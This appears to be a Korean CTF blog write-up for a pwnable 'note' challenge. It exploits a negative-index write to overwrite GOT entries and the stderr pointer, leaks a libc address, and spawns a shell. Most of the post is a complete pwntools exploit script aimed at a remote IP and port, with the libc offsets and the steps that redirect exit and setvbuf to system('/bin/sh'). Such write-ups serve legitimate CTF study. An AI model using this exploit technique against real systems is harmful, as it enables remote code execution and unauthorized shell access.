문제 특징
1. GOT 변조
2. libc leak
3. setvbuf
modify 함수에서 index를 음수로하면 라이브러리 함수의 got.plt와 stdin, stdout, stderr 변수의 값을 바꿀 수 있다. (buffer의 주소가 0x6020A0으로 bss 영역에 있기 때문이다.)
여기서 std--- 변수들은 FILE * 자료형으로 라이브러리에 존재하는 FILE 객체를 가르킨다고 한다. 핵심은 포인터 변수라는 것이다!
인자와 함께 got를 조작할 수 있는게 이 부분밖에 없다.
libc-database-master를 이용하여 system과 /bin/sh의 offset을 구한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | #-*- coding: utf-8 *- from pwn import * # proc = process('./note') proc = remote('125.131.189.15', 10001) def menu(select) : proc.recvuntil('5.Exit\n') proc.sendline(select) def modify(index, value) : menu('3') proc.recvuntil('modify : \n') proc.sendline(index) proc.recvuntil('Contents : \n') proc.send(value) proc.recvuntil('Note\n') proc.sendline('123') modify('-11', p64(0x400786)) # exit@got.plt -> setvbuf init modify('-13', p64(0x400610)) # setvbuf@got.plt -> puts@plt modify('-4', p64(0x602028)) # stderr pointer -> read@got.plt menu('5') read_got = u64(proc.recvuntil('1.Add')[:6] + "\x00\x00") # libc.so.6 libc_base = read_got - 0xf7220 system_addr = libc_base + 0x45390 sh_addr = libc_base + 0x18cd17 """ # local system_addr = read_got - 0xA77B0 sh_addr = read_got + 0x94779 """ log.info('system_addr : ' + hex(system_addr)) log.info('sh_addr : ' + hex(sh_addr)) modify('-13', p64(system_addr)) # setvbuf@got.plt -> system addr modify('-4', p64(sh_addr)) # stderr pointer -> sh addr menu('5') proc.interactive() | cs |
1. libc leak
setvbuf@got.plt를 puts@plt로 바꾸고 stderr를 read@got.plt로 변경한다.
exit@got.plt를 setvbuf를 호출하는 함수인 0x400786으로 변경하여, libc leak을 한다.
offset을 이용하여 system과 /bin/sh의 주소를 구한다.
2. exploit
setvbuf@got.plt를 system 주소로 바꾸고 stderr를 /bin/sh로 변경하여 쉘을 실행시킨다.
'Hack > 포너블' 카테고리의 다른 글
[backdoorctf17] baby-0x41414141 (0) | 2017.10.13 |
---|---|
[CSAW 2017] scv (0) | 2017.09.20 |
[포너블] level1 (7) | 2017.03.11 |
[Codegate 2016] watermelon (3) | 2017.02.23 |
[Linux] %?$p 와 64bit 프로그램 매개변수 순서 (0) | 2017.02.21 |